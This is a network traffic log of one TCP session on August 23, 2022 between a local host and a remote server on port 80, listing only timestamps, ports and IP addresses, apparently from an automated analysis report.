Aug 23, 2022 03:42:59.971487045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.971518993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.971565962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.976813078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976850986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976875067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976888895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976912975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976938009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.976960897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.976974010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.976999044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977011919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977027893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977042913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977065086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977094889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977106094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977111101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977140903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977149963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977168083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977180004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977212906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977257967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977283955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977299929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977329016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977375031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977397919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977416992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977436066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977449894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977498055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977556944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977581024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977597952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977617025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.977628946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977658033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.977977037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978112936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978142023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978152990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978164911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978187084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978214979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978245020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978257895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978283882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978297949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978316069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978342056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978390932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978418112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978450060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978471994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978606939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:59.978624105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978648901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978674889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978697062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978720903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978749990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978774071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.978794098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:59.979044914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001005888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001089096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001132965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001162052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001214027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001246929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001264095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001305103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001343966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001374006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001415014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001481056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001521111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001549959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001590967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001612902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001633883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001646996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.001686096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001725912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001754045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001795053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001835108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001877069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001908064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001945972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.001986980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002027988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002054930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002094030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002134085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002186060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002211094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002243042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002254009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002293110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002314091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002353907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002394915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002428055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002454042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002480984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002516985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002563000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002580881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002645969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002671957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002700090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002721071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002747059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002778053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002825975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002837896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002878904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002895117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002923965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.002943039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.002968073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003000021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003046036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003057957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003092051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003124952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003164053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003189087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003205061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003257990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003321886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003335953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003391981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003443956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003494978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003536940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003598928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003616095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003652096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003694057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003741980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003755093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003791094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.003803015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.003880978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.008936882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009011030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009123087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009181976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009205103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009249926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009260893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009299040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009316921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009361029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009377003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009407043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009432077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009459972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009490013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009504080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009525061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009562969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009579897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009612083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009632111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009658098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009677887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009704113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.009730101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.009778023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010416985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010457039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010478973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010499954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010516882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010554075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010571003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010602951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010631084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010665894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010680914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010706902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010721922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010756969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010778904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010817051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010833979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010867119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010901928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010931015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.010950089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010979891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.010999918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011037111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011075974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011084080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011106968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011136055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011166096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011195898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011208057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011244059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011260033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011296988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011311054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011337042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011379957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011390924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011445999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011486053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011518955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011542082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011571884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011588097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.011605024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.011636019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.033818960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.033916950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.033932924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.033962011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.033999920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034039974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034059048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034100056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034143925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034185886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034260988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034308910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034323931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034377098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034538031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034590006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034641027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034682989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034713984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034759045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034796953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034841061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034887075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034928083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.034948111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.034989119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035006046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035034895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035052061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035069942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035109043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035146952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035168886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035209894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035228968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035247087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035367966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035433054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035466909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035497904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035521984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035593033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.035748005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035780907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035811901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.035834074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036031961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036065102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036120892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036143064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036170006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036194086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036365032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036396980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036428928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036456108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036484957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036516905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036549091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036570072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036586046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036601067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036626101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036645889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036676884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036709070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036731958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036806107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036820889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036847115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036864996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036904097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.036953926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036977053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.036993980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037014008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037132978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037163973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037178993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037201881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037225008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037247896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037266016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037285089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037309885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037349939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037369013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037400961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037415028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037436008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.037452936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.037483931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041145086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041183949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041215897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041263103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041270018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041297913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041316032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041347027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041361094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041393042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041407108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041430950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041450024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041469097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041495085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041532040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041541100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041577101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041585922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041609049 CEST	80	49743	45.95.11.158	192.168.2.4
